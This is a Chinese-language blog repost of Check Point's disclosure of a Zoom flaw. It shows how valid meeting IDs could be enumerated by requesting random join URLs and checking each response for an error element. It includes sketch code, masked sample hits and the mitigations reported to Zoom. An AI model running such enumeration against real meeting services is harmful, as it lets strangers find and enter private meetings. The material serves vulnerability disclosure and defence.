ang010ela 嘶吼专业版 

本文分析一个ZOOM安全漏洞,以及如何利用该漏洞来识别和加入活动会议。文中的漏洞详情已经报告给了Zoom Video Communications公司,Zoom也给出了一些缓解措施。

问题分析

使用Zoom的用户可能知道Zoom Meeting ID是由于9或10或11个数字组成的。如果没有启用“Require meeting password”选项或Waiting Room,这个9/10/11位的数字就唯一可以确保会议安全防止非认证用户接入的。

首先,研究人员预生成了一个可能有效的Zoom Meeting ID列表。从中随机选取1000个Meeting ID,并准备用URL字符串加入会议:

urls = []

for _ in range(1000):

urls.append("https://zoom.us/j/{}".format(randint(100000000, 9999999999)))

但是如何确定一个Zoom Meeting ID表示的是有效的会议呢?研究人员发现了一个快速、简易的方式来检查,就是根据在访问“Join Meeting” URL (https://zoom.us/j/{MEETING_ID}) 返回的响应的HTML Body的div元素来进行检查:

< div id="join-errormsg" > < i > < /i > < span > Invalid meeting ID. < /span > < /div&gt

然后研究人员尝试将以上方法自动化:

for url in urls:

    yield MakeHTTPRequest(url=url, callback=parseResponse)

 

def MakeHTTPRequest(url, callback)

    …

 

def parseResponse(response):

    if response.css('div#join-errormsg').get() is None:

        print('Valid Meeting ID found: {}'.format(response.url))

    else:

        print('Invalid Meeting ID'

运行的结果如下所示: 

Invalid Meeting ID

Invalid Meeting ID

Valid Meeting ID found: https://zoom.us/j/22XXX41X8

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Valid Meeting ID found: https://zoom.us/j/8XXX34XXX9

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Invalid Meeting ID

Valid Meeting ID found: https://zoom.us/j/93XXX9XXX5

Invalid Meeting ID

Invalid Meeting ID

Bingo!

结果

研究人员在随机生成的Meeting ID中预测了大约4%的Meeting ID,与暴力破解相比,成功率还是非常高的。

缓解措施

研究人员在2019年7月22日联系了Zoom,并提出了以下缓解措施:

1. 重新实现Meeting ID生成算法

2. 用强加密的随机化函数替换现有随机函数

3. 增加Meeting ID的数字或符号的数量

4. 强制主机使用口令、PIN、SSO等进行认证。

本文参考自:https://research.checkpoint.com/2020/zoom-zoom-we-are-watching-you/

©著作权归作者所有:来自51CTO博客作者mob604756ebed9f的原创作品,如需转载,请注明出处,否则将追究法律责任

更多相关文章

  1. 如何使用“迁移助理”将文件从旧 Mac 移到新Mac?
  2. 让 AirPods 在 iPhone 和其它苹果设备之间自动切换的方法
  3. 摩杜云:针对网络安全,打造云上安全堡垒
  4. ant_时提示前言不允许有内容问题
  5. 微软工程师用PyTorch实现图注意力网络,可视化效果惊艳
  6. 什么是响应式网页?有什么特点呢?
  7. Java常见排序算法之插入排序
  8. 前端js是什么意思?
  9. 一线大厂在机器学习方向的面试题(一)

随机推荐

  1. Android中自定义DatePicker
  2. Anfdroid网络编程方法
  3. 打开URL启动android默认浏览器,启动指定浏
  4. Android查看包名和获取包名
  5. android中进度条控件
  6. Android学习札记17:ImageView中的setImage
  7. 2011.10.18——— android 自定义Animati
  8. Android中如何自己制作su
  9. Android休眠唤醒机制简介(二)
  10. JS判断客户端类型(ipad,iphone,android)